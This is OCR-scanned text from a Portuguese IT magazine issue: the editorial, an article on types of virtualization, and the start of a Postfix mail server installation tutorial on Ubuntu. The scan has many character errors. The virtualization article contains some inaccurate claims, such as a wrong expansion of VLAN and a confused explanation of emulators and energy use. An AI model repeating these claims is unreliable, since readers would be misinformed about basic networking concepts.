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té esta edigao, muito ja falamos sobre técnicas que auxiliam na geréncia de redes.

Todo bom administrador sabe que seguranca, desempenho, estabilidade, entre outras

caracteristicas sdo de grande importancia para conquistar uma rede estavel e sem
reclamacdes. No entanto, antes de tudo isso, devemos nos preocupar com um elemento essencial,
o projeto da rede. Uma rede de computadores bem planejada evitard muitas dores de cabeca e
tornaré o dia a dia do administrador e de seus usuarios muito mais simples. E sobre este assunto
que elaboramos o artigo de capa da Infra Magazine 08.

Projeto de redes de computadores descreve a abordagem top-down para o desenvolvimento
de projetos de redes de computadores. Neste enfoque, as arquiteturas 16gica e fisica somente sao
concebidas apds um processo minucioso de coleta de dados que enumera os requisitos comerciais
e técnicos do cliente, bem como os objetivos que devem ser alcangados com sua implantagao. O
procedimento € iterativo, porque a medida que novas informagoes sao identificadas, os projetos
logico e fisico sao atualizados para atender as novas demandas.

O artigo Desvendando os conceitos da virtualizagao tem como foco apresentar ao leitor o
que ¢ virtualizagao e seus diferentes tipos (de Sistema Operacional, de Servidor de Aplicagao,
de Aplicacao, de Rede, de Hardware, de Armazenamento e de Servigo). Com a virtualizagao
é possivel transformar maquinas fisicas em logicas e, como consequéncia, tornar as empresas
mais rentaveis e lucrativas.

Postfix, Courier e Roundcube demonstra a instalacao e configuracao do servidor Postfix na
distribuicao Ubuntu, utilizando-se de modo texto e modo grafico para configuracao do mesmo.
Este servidor permite o envio e recebimento de e-mails em diversas situagdes. Ao final, o leitor
tera um servidor de e-mails em pleno funcionamento.

A matéria Netcat: O canivete suico TCP/IP destaca as principais caracteristicas do comando
Netcat, seu funcionamento e mecanismos de teste que o tornam uma ferramenta tao completa.
Também serao apresentados exemplos praticos de utilizacao focados no cotidiano do
administrador de redes e/ou especialista em seguranca. Por fim, serdo apresentados exemplos
avancados aprofundando ainda mais sua utilizagao.

Em Seguranca para servidores Windows analisamos as principais formas de se instalar um
ambiente de servidores Windows de forma segura, garantindo disponibilidade do ambiente e
evitando infecgGes e ataques de invasores que buscam brechas em redes para acessar contetidos
privados. Veremos que a seguranga do ambiente deve ser idealizada desde o desenho da
infraestrutura, defini¢ao da rede e servidores, até a implementacao de aplicacdes e utilitarios.

Para finalizar esta edi¢do, em Implementacdo de um proxy web com Squid, o Squid sera
empregado como servidor de web caching e proxy, explicando também exemplos de regras de
controle de acesso. Assim, conseguiremos controlar a rede, melhorar o desempenho, monitorar
e auditar os acessos. Para fins de analise dos acessos, veremos ainda como criar relatérios com
0 SARG.

Eduardo Oliveira Spinola
eduspinola@gmail.com

twitter.com/Java_Magazine
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Desvendando os
conceitos da virtualizacao

Conheca os mais variados tipos de virtualizacao

ual o significado real de “virtualizar” paraa TI
atualmente? A virtualizagdo como conceito ndo
é novidade, j4 que ambientes computacionais
virtualizados existem desde os primeiros sistemas main-
frame. No entanto, recentemente o termo “virtualizagdo”
se tornou comum nos ambientes de trabalho, pois todos
se referem a ela de forma excessiva, porém nem sempre
seu uso é contextualizado de forma correta e aplicavel.
Com base nisso, veremos no decorrer deste artigo como
compreender as diferentes formas de se virtualizar. Na
Figura 1, temos uma rede de computadores genérica
indo até um servidor central — que pode ou ndo estar na
nuvem — onde hd alguma aplicagdo virtualizada. Esse é
o conceito de virtualizagdo mais bdsico, modelo-padrao
este que todos vém a mente quando se referem a palavra
virtualizagdo.

Figura 1. Virtualizacdo na sua forma mais basica: clientes indo
a0 mesmo servidor central

Por exemplo, os emuladores de dispositivos méveis
sdo uma forma de virtualizacao, pois a plataforma de
hardware que executa o sistema operacional mével foi
emulada a fim de se tornar uma maquina virtual Java.
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De que se trata o artigo:

O artigo tem como foco apresentar ao leitor o que é virtualizagao e
como ela esta dividida em diversos tipos diferentes de virtualizacao
atualmente conhecidas.

Em que situagdo o tema é uitil:

Este tema é Util para qualquer nicho tecnolégico na subarea de infraes-
trutura, uma vez que a virtualizacdo foca em transformar maquinas fisicas
em ldgicas e, como consequéncia, tornar as suas respectivas empresas
mais rentdveis e lucrativas.

Desvendando os conceitos da virtualizagéo:

O artigo apresenta o que é virtualizacdo e posteriormente revela
os modos como ela se manifesta. Deste modo, o leitor se identifica e
compreende que pode implementar tais tipos de virtualizagdo tanto no

ambiente corporativo como pessoal.

J

Por esta razdo, temos a estrutura hardware-sistema—java inter-
ligada. Desta maneira, importa apenas a maquina criada por
emulagdo e o servidor Java. Todas as aplicagdes Java funcionam
desta maneira como pré-requisito, ou seja, com virtualizagdo, o
que explica o fato de o Java ser tdo escolhido para plataformas na
nuvem. Por esta razdo ele é multiplataforma.

Estalinguagem roda sobre sua Java Virtual Machine, ou seja, sobre
ainfraestrutura dele préprio, suaJVM, enquanto outras linguagens
rodam em cima do SO, necessitando de recursos de baixo nivel
deste. E possivel compreender que JVM falando com JVM é bem
mais simples e padronizado se compararmos linguagens que falam
na camada do sistema operacional e com outros sistemas que ndo
possuem a mesma infraestrutura bésica de virtualizagdo com foco
em multiplataforma. Contudo, dispositivos Java se comunicando
com servidores na nuvem sao apenas exemplos de um tipo de
virtualizagdo, uma vez que hd muitas defini¢des do termo “virtu-
alizacdo”. A maioria das defini¢des, no entanto, sdo categorizadas
erroneamente, tais como a chamada virtualizagdo de processos.

Neste artigo apresentaremos virtualizagdes de todos os tipos:
as aplicdveis tanto aos usudrios finais como aos centros de



processamento de dados, os chamados datacenters. Porém, antes
de considerar qualquer tipo de virtualizagdo, é importante definir
qual tecnologia ou categoria de servigo serd virtualizada. Grosso
modo, a virtualizagdo se encaixa em trés categorias: Sistemas
Operacionais (SOs), Armazenamento e Aplicagdes. Essas catego-
rias, porém, sdo muito amplas e ndo delineiam adequadamente
0s aspectos principais da virtualizagdo. Para qualquer um que
venha a conhecer sobre virtualizagdo, é importante separar estas
trés categorias generalistas em oito categorias especificas. Deste
modo, pode-se compreender melhor as diferengas e similaridades
entre as defini¢Ges de virtualizagao.

Virtualizacao do Sistema Operacional

Hoje, a forma mais predominante de virtualizagdo sdo os sis-
temas operacionais virtuais (ou médquinas virtuais), que rapida-
mente tém se tornado um componente central na infraestrutura
de TI. Geralmente, essa é a forma com a qual os usudrios finais
estdo mais familiarizados. As maquinas virtuais tipicamente sdo
implementagdes completas de sistemas operacionais padrdes,
como o Windows Server 2008 ou RedHat Enterprise Linux, ro-
dando simultaneamente no mesmo hardware fisico.

Conforme a Figura 2, temos a estrutura de um conjunto de
maquinas virtuais conectadas a um virtualizador gerenciavel
de Sistema Operacional que conecta ao Storage (SAN - Storage
Area Network). Desta maneira, temos a infraestrutura bésica de
qualquer sistema operacional. As SAN sdo os discos rigidos traba-
lhando via fibra 6ptica, ao passo que o virtualizador administra
os recursos de hardware para as mdquinas virtuais. Memoria,
processador e disco rigido sdo distribuidos.

( SAN

VM Infrastructure

Figura 2. Virtualizacao de SO

Numa SAN, os discos, também chamados de LUNs (Logical
Unit Number), sdo apresentados ao sistema operacional. Este,
por sua vez, utiliza de links/caminhos 16gicos dentro do sistema
de arquivos para encontrar as LUNs que estdo em uma drea de
armazenamento determinada pelo gerenciador da infraestrutura.

Desse modo, com as instrugdes de localizagdo primadria no interior
do sistema operacional, este se conecta a servidores e switches de
armazenamento. Eles, seguindo com os procedimentos setados
como padrdo, realizam todo o roteamento para que o sistema
operacional consiga gravar e/ou ler dados nas LUNSs, que como
dissemos antes, podem ser considerados discos via rede.

Neste modelo tecnolégico os dados néo estdo no disco rigido do
sistema operacional, mas centralizados numa drea de armazena-
mento, a SAN. Esta, geralmente, se comunica em alta velocidade,
baseando-se quase sempre nas redes de fibra éptica.

Os Gerenciadores de Mdquinas Virtuais (VMM - Virtual Machi-
ne Manager) administram cada méquina virtual individualmente.
Sdo eles que distribuem os recursos de hardware as maquinas
virtuais com a mais alta tecnologia de gerenciamento, fornecendo
apenas o necessario para que cada maquina virtual trabalhe de
maneira performatica e econdmica, na medida do possivel.

Cada instancia de SO, isto ¢, cada mdquina virtual individual,
nao possui informagdes suficientes para saber que é virtual e que
outro sistema operacional virtual estd ou pode estar sendo execu-
tando concomitantemente. Empresas como Microsoft, VMware,
Intel e AMD estdo abrindo caminho para a separagdo fisica entre
um sistema operacional e seu hardware original, estendendo esse
paradigma ao CPD, pois estas empresas enxergaram o quao bom
e lucrativo para suas préprias imagens é apostar nisso. E, além
de ser performaético, é sustentdvel — termo atualmente em moda e
praticamente exigido de todas as empresas. Por esta razao, a prin-
cipal for¢a motriz dessa tendéncia é a consolidagdo do CPD, que
traz o beneficio das mdquinas virtuais ao mercado convencional,
permitindo as empresas reduzir o nimero de mdquinas fisicas nos
CPDs, porém sem reduzir o nimero de aplica¢bes subjacentes.

Em dltima instancia, a virtualizagdo de sistemas operacionais
poupa as empresas o custo de hardware, locagdo, logistica e
transporte, o espago dos racks, forca, gerenciamento de cabos
etc. Logicamente vocé deve ter pensado na energia elétrica. Unir
todas as maquinas fisicas numa tinica maquina nao gasta mais
energia elétrica? Ndo hd mais dissipagdo de calor? A resposta é
ndo. Com a centraliza¢do, economizamos recursos energéticos.
Por qué? Porque com alguma solucdo de virtualizagdo de siste-
ma operacional os recursos de hardware néo s&o utilizados ao
mesmo tempo. Eles sdo alocados conforme a maquina virtual
pede ao seu hospedador. Para facilitar a compreensdo, podemos
fazer um paralelo: seria possivel todas as pessoas do mundo se
conectarem a internet ao mesmo tempo? Ndo, pois ndo existem
tantos IPs disponiveis. Mesmo o IPv6 comegando a aparecer, isso
ainda néo foi implementado. Os ttineis entre os protocolos IPv4 e
IPv6 ainda sdo a nossa realidade.

No futuro, todos os recursos de rede poderao estar ligados ao
mesmo tempo. Hoje, infelizmente, isso ainda ndo é possivel.
Contudo, se algumas pessoas acessarem a internet na parte da
manha e outras a noite, s6 precisariamos de metade dos IPs
pensados inicialmente. Este é o segredo! As mdquinas virtuais
pensam que possuem 1 TB de disco local, pois foram configura-
das pelo hospedador para terem isso como informacéo, porém
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Desvendando os conceitos da virtualizacao

elas s6 utilizam 10% disso, de forma que nao teremos tanto
gasto com energia e com dissipagdo de calor. Nas mdquinas
fisicas, ndo possuimos essa utilizagdo por demanda, por isso
sempre gastamos a mesma quantidade de energia utilizando
ou néo todos os recursos.

Virtualizacao do Servidor de Aplicacao

A virtualizagdo do servidor de aplicagdo estd disponivel des-
de os primeiros balanceadores de carga, o que explica porque
a “virtualizagdo de aplicagdo” é tdo usada como sinénimo de
balanceamento avangado de carga.

O conceito central da virtualizacdo do servidor de aplicagao é
mais bem compreendido como sendo um balanceador de carga
proxy reverso, ou seja, um balanceador que busca na sua rede
intranet o que ele precisa: um appliance, ou servico que fornece
acesso transparente a vdrios servigos de aplicagdo diferentes.

Em uma implementagéo tipica, um proxy reverso hospedard
uma interface virtual acessivel ao usudrio final no front end.
No back end, o proxy reverso equilibrard a carga entre varios
servidores e aplicagbes diferentes, assim como um servidor
web. A interface virtual — frequentemente chamada de IP
Virtual (VIP) - fica exposta ao mundo externo, representando-
se como um servidor web real, e gerencia as conexdes indo e
vindo do servidor web conforme o necessdrio. Isso permite
ao balanceador de carga gerenciar maltiplos servidores web
ou aplicagbes como uma tnica instancia, fornecendo uma
protecdo e uma topologia mais robustas do que se fosse
permitido aos usudrios acessar diretamente os servidores
web individuais.

Essa é uma representagdo de virtualizagdo ideal para muitos,
uma vez que o servidor é apresentado ao mundo, ocultando
a disponibilidade de mdltiplos servidores por trds de um
appliance de proxy reverso. A virtualizagdo do servidor de
aplicacdo pode ser aplicada a muitos — se ndo a todos — os tipos
de implementacdo e arquitetura de aplicacdo. Isto desde por a
frente os servidores 16gicos de aplicagdo até distribuir a carga
entre multiplas plataformas de servidores web e, inclusive, de
volta as camadas de dados e armazenagem no datacenter com
a virtualizagdo de bases de dados.

Virtualizacao de Aplicacao

Embora se parecam muito, servidor de aplicagdo e virtualiza-
¢do de aplicagdo sao dois conceitos completamente diferentes. O
que chamamos hoje de virtualizagdo de aplicagdo era chamado
de “clientes leves” (thin client). A tecnologia é exatamente a
mesma, exceto o nome, que mudou para ficar mais adequada
a TI com foco em processamento centralizado. O SoftGrid da
Microsoft é um excelente exemplo de implementagédo de virtu-
alizacdo de aplicagdo (ver Nota do DevMan 1).

Embora vocé possa usar o Microsoft Word 2007 executando
localmente no seu laptop, as informagdes pessoais e o estado
do programa sdo armazenados, gerenciados e fornecidos pelo
Softgrid. Seu laptop local fornece a CPU e a RAM necessdrias
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para executar o software, mas nada é instalado localmente na
sua maquina. Entre os outros tipos de virtualizagao de aplica-
¢do se incluem o Microsoft Terminal Services e as aplicacdes
baseadas no navegador (ver Nota do DevMan 2). Todas essas
implementacdes dependem da aplicagdo virtual executada
localmente e do gerenciamento e da légica de aplicagdo exe-
cutados remotamente.

%}7 Neta do Devilam 1

Softgrid: 0 Microsoft SoftGrid Application Virtualization é a Unica solugao de virtualizagao
que fornece aplicagdes que nunca sdo instaladas na mdquina desktop. Todavia, acompanham
0s usudrios nas mais diversas tarefas do dia a dia. Desta forma, eles utilizam a virtualizacdo de
servico de modo sequro em qualquer lugar, sob demanda. E uma tecnologia muito utilizada em
Streaming e aplicagoes.

Nota do Deviian 2

Microsoft Terminal Services: Nada mais é que o acesso remoto que a Microsoft propde aos
seus usudrios. Também chamado de Remote Desktop Services, o Terminal Services possui como
meta virtualizar toda a parte grdfica da maquina origem para a destino, transportando toda a
usabilidade via rede.

Virtualizacao de Rede

A virtualizagdo da rede pode ser a definigdo especifica mais
ambigua de virtualizagdo. Para abreviar, o escopo dessa discussdo
se restringird ao gerenciamento e segmentacdo do enderego IP
virtual. Um exemplo simples de virtualizacdo de enderecos IP é
a Virtual Local Access Area Network (VLAN). Em uma VLAN,
uma tnica porta Ethernet pode suportar multiplas conexdes vir-
tuais de multiplos enderecos IP e redes, mas elas sdo virtualmente
segmentadas usando as tags VLAN. Cada conexdo IP virtual por
essa Unica porta fisica é independente e desconhece a existéncia
das outras, mas o switch reconhece cada conexao e gerencia cada
uma separadamente.

Outro exemplo sdo as tabelas de roteamento virtual. Normal-
mente, uma tabela de roteamento e uma porta de rede IP tém
uma relagdo 1 por 1, mesmo que uma tnica porta possa hospedar
muiltiplas interfaces virtuais (como as VLANSs ou os adaptadores
de redes virtuais “eth0:1” suportados pelo Linux). A tabela de
roteamento conterd multiplas rotas para cada conexdo virtual,
mas ela ainda é gerenciada como somente uma tabela. Aqui
percebemos uma simples forma de virtualizar recursos de forma
transparente e via rede.

As tabelas de roteamento virtual mudam o paradigma para uma
relagdo um para muitos, em que uma tinica interface fisica pode
conter multiplas tabelas de roteamento, cada uma com muiltiplas
entradas. Isso fornece a interface a habilidade de criar (e derru-
bar) dinamicamente os servigos de roteamento para uma rede,
sem interromper os outros servigos e as tabelas de roteamento
na mesma interface.



Virtualizacao de Hardware

A virtualizacdo do hardware é muito parecida com o conceito
de virtualizacdo do sistema operacional ou plataforma e, em al-
gum grau, é necessdria para que ocorra a virtualizacdo do SO. A
virtualizacdo do hardware separa pedagos e locais do hardware
fisico em segmentos independentes e gerencia esses segmentos
como componentes separados, individuais. Embora em diferentes
classificagdes, tanto o multiprocessamento simétrico quanto o
assimétrico sdo exemplos de virtualizac¢do de hardware.

Em ambeas as instancias, o processo ndo sabe qual CPU o sis-
tema operacional reservard a ele, todavia o sistema operacional
se encarrega de alocar o tempo do processador e sua prioridade
na fila de processamento. No que concerne ao processo, ele pode
ser alocado em qualquer niimero de CPUs e qualquer parte da
memoria RAM, conquanto néo seja afetada a sua execugao.

Outro exemplo de virtualizagdo do hardware é o “fatiamento”,
ou slicing. Este consiste em separar partes precisas do sistema
para serem executadas em um “jardim fechado”, isto é, trabalhar
com uma escala totalmente definida. Tal como alocar 25% dos
recursos da CPU para a criptografia em massa. Se, por um lado,
ndo houver qualquer processo que precise digerir nimeros na
CPU para codificagdo em bloco, aqueles 25% da CPU ndo serdo
aproveitados. Se, por outro lado, muitos processos precisarem
de computacao matemdtica a0 mesmo tempo e requererem mais
do que 25%, eles serdo enfileirados em um buffer, porque a CPU
ndo permite suprir mais do que 25% dos seus recursos para tal
atividade em paralelo. Esse tipo de virtualizagdo do hardware é
chamado algumas vezes de pré-alocagdo.

Multiprocessamento simétrico ocorre quando se tem vdrias
unidades ou nucleos de processamento que compartilham a
mesma memoria e sdo controlados por um tnico sistema com-
putacional.

Por outro lado, no multiprocessamento assimétrico hd um
processador dedicado a coordenar as tarefas dos demais. Nesse
caso, hd sistemas operacionais diferentes no controle dos diversos
processadores.

Cada classificagdo da virtualizagdo do hardware é tnica e tem
seu valor segundo a implementacdo. A virtualizagdo por pré-
alocagdo é perfeita para tarefas bem especificas do hardware, como
as fungdes de alivio da carga para um chip altamente otimizado
e especializado. Entretanto, a pré-alocagdo do hardware comum
pode causar uma falta artificial de recursos se o pedago alocado
for subutilizado. A virtualizagdo por alocagdo dindmica (aloca-
¢do de hardware que funciona sob demanda processamental)
é uma abordagem mais comum e oferece tipicamente maiores
beneficios quando comparada com a pré-alocacdo, uma vez que
temos economia de recursos, pois estes estdo sendo utilizados
dinamicamente.

Analogamente, temos tipos de particionamento Linux feitos via
particdo estdtica e partigdo dindmica, o chamado LVM (Logical
Volume Manager) — ver Nota do DevMan 3. No particionamento
estdtico, pré-alocamos as necessidades de disco e elas permane-
cem inalteradas antes da instalagdo do SO. Se vocé definiu 250 GB

de espago em disco, vocé terd uma particdo de 250 GB estdtica.
Depois da instalagdo, utilizando ou ndo o disco inteiro, ele sera
reconhecido e lido pelo seu valor total. No caso da utilizagdo do
LVM, o administrador configura um valor minimo e depois vai
adicionando recurso conforme o uso.

Nota do Devilan B

LVM: Logical Volume Management é um modo de gerenciamento de particdes em discos
IDE/SCSI/FC. Foi desenvolvido inicialmente pela IBM. Ao contrério do método tradicional de
particionamento, a implementagdo LVM cria um grande disco virtual, que pode inclusive ter
mais de um dispositivo de armazenamento, e o divide em particdes virtuais. A grande vantagem
é permitir o redimensionamento das dreas de modo dinamico. A grande desvantagem é que
por ser um unico disco virtual, a recuperacdo de dados em uma eventual pane no sistema de
armazenamento € bastante prejudicada.

g‘\

Para o provisionamento de um servigo realmente virtual, é
importante a alocagdo dindmica dos recursos, porque isso per-
mite o completo gerenciamento do hardware e a flexibilidade de
aumentar ou diminuir a demanda. Os recursos virtuais podem
ser alocados desde que os recursos do hardware ainda estejam
disponiveis. A desvantagem das implementacdes de alocagdo
dindmica é que, por serem flexiveis, se estiverem nas maos de um
administrador sem controle, os resultados podem ser caéticos.
Sem o bom senso humano, pode-se levar um processo a consumir
todos os recursos disponiveis.

Virtualizacao de Armazenamento

Virtualizagdo de armazenamento é um tipo de tecnologia con-
sagrada, porém tem sido utilizada como uma forma incorreta do
termo virtualizac¢do. Néao se trata de um modo formal de virtua-
lizagdo, uma vez que ndo hd um processo real de virtualizagdo de
recursos ou processamento em si. Todavia, muitos a consideram
como tal. Esta pode ser desfragmentada em duas classes gerais:
virtualizac¢do de bloco e virtualizagdo de arquivo.

A virtualizagdo de bloco é mais bem resumida pelas tecnologias
SAN (Storage Area Network) e NAS (Network-Attached Storage),
ou seja, redes de armazenamento distribuido que aparentam ser
um dnico dispositivo fisico. No entanto, sdo muito mais complexas
que isto, valendo por volta de R$ 1 milh&o por rack. Por dentro, os
dispositivos SAN geralmente implementam outro tipo de virtuali-
zagao de armazenamento: Redundant Array of Inexpensive Disks
(RAID). Internet Small Computer System Interface (iSCSI) é outra
implementagéo virtual muito comum e especifica de virtualiza-
¢do de bloco, permitindo a um sistema operacional ou aplicagdo
mapear um dispositivo virtual de bloco, tal como uma unidade
de disco montada, para um adaptador de rede (por software ou
hardware), em vez de um controlador de disco fisico.

Os adaptadores de rede iSCSI traduzem as chamadas de bloco
da aplicagdo para pacotes de rede que a SAN entende e, depois,
traduzem de volta, gerando basicamente uma unidade de disco
virtual. A virtualizagdo de arquivos move a camada virtual para o
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nivel estrutural mais “consumivel pelos humanos” dos arquivos e
diretérios. A maioria das tecnologias de virtualizagdo de arquivo
determina como ponto focal a frente das redes de armazenamento
erastreiam quais arquivos e pastas residem em quais dispositivos
de armazenamento, mantendo um mapeamento global dos locais
dos arquivos.

Quando é feita uma requisicdo de leitura de um arquivo, o usudrio
pode achar que o arquivo estd localizado estaticamente em seu disco
remoto pessoal. Porém, o appliance de virtualizagdo de arquivo
sabe que o arquivo, na verdade, estd em um servidor SMB em um
datacenter do outro lado do mundo. A virtualiza¢do no nivel de
arquivo oculta o ponteiro de um arquivo para o local fisico mos-
trando um local virtual estético, o que permite as redes back-end se
manterem dindmicas. Se o endereco IP do servidor SMB mudar, ou
se a conexdo precisar ser redirecionada para outro datacenter, serd
preciso atualizar somente a configuragédo local da appliance virtual,
e ndo todos os usudrios que precisam acessar seus discos.

Virtualizacao de Servico

Finalmente, a defini¢do macro de virtualizagdo foi atingida: a
virtualizagdo do servigo. A virtualizagdo do servigo conecta todos
os componentes utilizados no fornecimento de uma aplicagdo
pela rede e inclui o processo de fazer funcionar juntas todas as
pecas de uma aplicagdo independentemente de onde essas pegas
residam fisicamente.

E por isso que a virtualizagéo do servigo é geralmente aplicada
quando necessitamos de um ambiente de alta disponibilidade — o
que é o caso das grandes corporagdes. Por exemplo, uma aplicagdo
web normalmente tem muitas partes: o HTML que o usudrio vé;
o servidor de aplicagdo que processa os dados que o usudrio for-
nece; 0os mecanismos da Service Oriented Architecture (SOA — ver
Nota do DevMan 4) que coordenam a disponibilidade de servigos
e dados entre cada componente; a base de dados back-end para
o usudrio, a aplicagdo e os dados da SOA; a rede que fornece os
componentes da aplicacdo; e a rede que armazena o cédigo e os
dados da aplicacao.

%?_;7 Nota do Devilan 4

SOA: Service Oriented Architecture: E um tipo de arquitetura de software cujo principio
fundamental prega que as funcionalidades implementadas pelas aplicacdes devem ser
disponibilizadas na forma de servicos. Frequentemente estes servigos sao conectados através de
um “barramento de servicos; que disponibiliza interfaces acessiveis através de web services ou
outra forma de comunicagdo entre aplicagoes.

A virtualizagdo do servigo permite a cada uma dessas pegas fun-
cionar independentemente e ser “evocada” conforme for necessario
para que a aplicagdo inteira funcione corretamente. Os maiores
sistemas do mundo trabalham dessa forma. Sdo vdrios sistemas
operacionais com servidores web balanceados somados a bancos
de dados de alta performance em cluster conectados a storages de
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alta performance também. E muitas vezes toda essa estrutura esta
em diferentes locais fisicos. A virtualizacdo do servigo combina
essas pegas independentes e as apresenta juntas ao usudrio como
uma tnica aplicagdo completa. Embora a virtualizagdo do servigo
possa englobar todas as defini¢des atuais de virtualizagdo, de forma
alguma é o ponto final em que a TI parara de definir o termo.

Com a difusdo e variagdo do uso da palavra, assim como da
tecnologia a que ela se refere, pode nunca haver uma definigéo
“final” para virtualizagdo. Ela continuard a evoluir e se expan-
dird exponencialmente diante das mais variadas tecnologias e
arquiteturas, uma vez que as aplica¢des e sistemas se tornem
mais sofisticados e complexos num mundo cuja performance
e economia de recursos se faz necessdria de uma forma quase
essencial nos variados ambientes corporativos.

Conclusao

Existe um arsenal de possibilidades quando nos referimos ao
termo virtualizagdo. Portanto, cabe aos técnicos do segmento tecno-
l6gico avaliar todo esse cendrio e decidir o que é melhor para nossas
respectivas empresas e clientes. Assim, poderemos construir um
bom alicerce a fim de implementar solugées eficientes e verdes.

Com a virtualizagdo conseguimos garantir um maior respeito em
relagdo ao meio ambiente. Investir em virtualizagdo é sinénimo de
olhar para o futuro, de algo mais performético, gastando menos
e, por consequéncia, lucrando mais, e tudo isso respeitando ao
maximo o meio ambiente, como ja foi dito.

A tendéncia atual é de que a virtualizagdo é o futuro mais sus-
tentdvel e “verde”, uma vez que se economiza em recursos como:
energia elétrica, espaco fisico, dissipacdo de calor, entre outros.
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Um trio a servico dos

e-mails

Trabalhando com Postfix, Courier e Roundcube

niimeras reportagens na Internet sugerem o fim do

e-mail, sendo este substituido por mensagens ins-

tantaneas ou mesmo por redes sociais. Nota-se que,
atualmente, as empresas estao cada vez mais dgeis, utili-
zando dentro de suas estruturas a comunicagio online.
Contudo, apesar de todo esse murmdrio, certamente o
e-mail ainda serd utilizado por muito tempo.

Neste cendrio, existem diversos servidores de e-mail
na Internet, cada qual com seu software gerenciador.
Dentre os mais utilizados estdo o Sendmail, Postfix e
Qmail. Apesar de o Sendmail ser robusto, sua configu-
racao e manutencgao sao complexas e, com isso, muitos
administradores optam pelo Postfix.

Vale reforgar que um servidor de e-mail tem a incum-
béncia de enviar e receber e-mails apenas através do
protocolo SMTP (Simple Mail Transfer Protocol - Protocolo
Simples de Transferéncia de Correio). Toda interagdo do
usudrio com o servidor de e-mail é feita através de um
webmail ou de um cliente de e-mail, sendo que estes sdo
configurados para acessar o servidor através de POP3
(Post Office Protocol — Protocolo de Agéncia de Correio)
ou IMAP (Internet Message Access Protocol — Protocolo
de Acesso a Mensagens da Internet). Para que essa
comunicagdo entre os clientes e o servidor ocorra, os
dois protocolos devem estar instalados e configurados
no servidor de e-mail, sendo gerenciados pelo Courier
ou Cyrus.

O Cyrus é um servidor de e-mail com alta escalabi-
lidade, tendo como foco o mercado corporativo, uma
vez que utiliza-se de controles de cotas, hierarquia,
autenticacao e filtros. Ja o Courier é uma suite completa
contendo desde um servidor de e-mail até um webmail,
sendo voltado para qualquer necessidade de envio e
recebimento de e-mails.

Com base em tudo isso, este artigo serd focado na
instalacdo e configuragdo do servidor de e-mail Postfix,
apresentando a configuragdo através do terminal e,
também, através de um programa grafico que utiliza o
navegador como interface de configuracao.

Resumo DevMan

De que se trata o artigo:

Este artigo apresenta o servidor Postfix, que permite o envio e recebi-
mento de e-mails em diversas situacoes, desde um simples servidor de
e-mails até um servidor de repasse de e-mails.

Em quessituagdo o tema é uitil:

O contelido apresentado neste artigo auxiliard os usuérios que neces-
sitam implantar um servidor de e-mail que utiliza uma conexao segura
para comunicacao de dados (POP3 e IMAP) entre os clientes e o servidor,
além de um webmail com tecnologias CSS2, AJAX e XHTML.

Postfix, Courier e Roundcube:

Esteartigo apresenta a instalagao e configuracdo do servidor Postfix na
distribuicao Ubuntu, utilizando-se de modo texto e modo gréfico paraa
configuracao do mesmo. Ao término do artigo, o leitor tera um servidor

Postfix em pleno funcionamento.

J

Histérico

O Postfix foi langado em 1998 no Centro de Pesquisas da IBM
por Wietse Venema como uma alternativa ao servidor de correio
Sendmail. A ideia era criar um servidor rdpido, de fécil configu-
racgdo e administragdo, além de seguro.

Atualmente, o Postfix estd na versdo 2.9.4, sendo oferecido atra-
vés de pacotes para diversas distribui¢des Linux, Unix, BSD, AIX,
HP-UX, Mac OS X, Solaris, dentre outros. Além dos pacotes, no
sitio do Postfix[1] estd disponibilizado o c6digo fonte que pode ser
compilado para qualquer sistema que seja baseado em Unix.

Tutorial

Instalacao

Para demonstrar a instalagdo do Postfix serd utilizada a distribui-
¢do Linux Ubuntu, sendo que recomendamos para a utilizagdo em
servidores de produgao, as distribuigdes Debian e Slackware.
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Pode-se instalar o Postfix mais facilmente através dos pacotes
queja vém nas proprias distribui¢des, ou através do binario encon-
trado no site do Postfix. Muitas vezes os pacotes disponibilizados
nas distribui¢des ndo sdo os da tltima versdo do Postfix, porém, é
uma versdo estdvel e jd testada e, com isso, ndo haverd problemas
de conflitos e/ou incompatibilidades. Nas diversas distribuigées
Linux existentes, pode-se utilizar a versdo em testes ou ainda a
instavel deste servidor de e-mails, entretanto, para um servidor
em produgdo, isso ndo é recomendado.

A instalacdo do Postfix no Ubuntu pode ser feita utilizando-se
do Terminal ou pela Central de Programas.

O Terminal pode ser encontrado no Ubuntu, na interface classica,
acessando-se o menu Aplicativos > Acessdrios > Terminal. J4d na
versdo do Ubuntu com interface Unity (versdes mais recentes),
clique no logotipo do Ubuntu e digite terminal para encontrar o
programa. Dentro do terminal, execute o comando:

sudo apt-get install postfix

Ao pressionar Enter serd iniciada a instalacdo do Postfix e das
dependéncias necessdrias para que o servidor de correio funcione
corretamente.

Ja a Central de Programas do Ubuntu (ou Ubuntu Software
Center), para as versdes acima da 9.04 do Ubuntu, encontra-se no
menu Aplicativos. Para a versédo cldssica da interface gréfica, ou
na interface Unity, a Central de Programas encontra-se na barra
do menu abaixo do logo do Ubuntu.

Apésiniciar a Central de Programas, na caixa de pesquisa apre-
sentada na Figura 1 (A), digite “postfix” e tecle Enter. O retorno
da busca serd exibido na janela logo abaixo da caixa de pesquisa,
aparecendo uma linha contendo a opgdo High-performance mail
transport agent — postfix, o botao Mais informagoes (Figura 1 (B)), e o
botdo Instalar (Figura 1 (C)). Ao clicar no botdo Mais informagoes,
serd aberta uma nova tela que mostrard uma descrigdo completa
do aplicativo a ser instalado. Veja a Figura 2.

Central de programas do Ubuntu
m LW O postfic ']

Todos os aplicativos Por relevincia

;‘:i'u High-performance mail transport agent & & & & & (1)

Figura 1. Janela da Central de Programas do Ubunutu: (A) campo de pesquisa (B) botéo de
mais informagdes e (C) botdo para instalar

Nessa pagina, descendo a barra de navegacao lateral, serdo
apresentados os complementos do Postfix (Figura 3), isto é, os
programas que auxiliam o Postfix em determinadas tarefas. Por
exemplo, pode-se integrar o servidor de correio a um servidor
LDAP da rede.

Ap6s selecionar os complementos adequados a sua realidade,
clique no botdo de Instalar (Figura 2). No caso da instalagdo
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bésica do Postfix, ndo é necessdrio clicar em nada além desse
botao.

Ao clicar em Instalar, a Central de Programas do Ubuntu instalara
automaticamente todos os pacotes necessarios para que o Postfix
funcione corretamente.

Central de programas do Ubuntu

L

in/ High-performance mail transport agent

Gratuito

* Instalar

Postlix is Wietse Venema's mail transport agent that started life as an
alternative to the widely-used Sendmail program. Postfix attempts to be
Fast, easy to administer, and secure, while at the same time being sendmail
(< bl hto not upset existi Ths, the cutside has a
sendmail-ish Mlavos, but the inside is completely different

Pagina do des

\.

Figura 2. Descricao do Postfix com o botdo Instalar em destaque

Central de programas do Ubuntu

Complementos

B Mail Filter (milter) For BATV signing/verification [batw-filter)

B4 Transitional package for dovecot (dovecot-common)

|

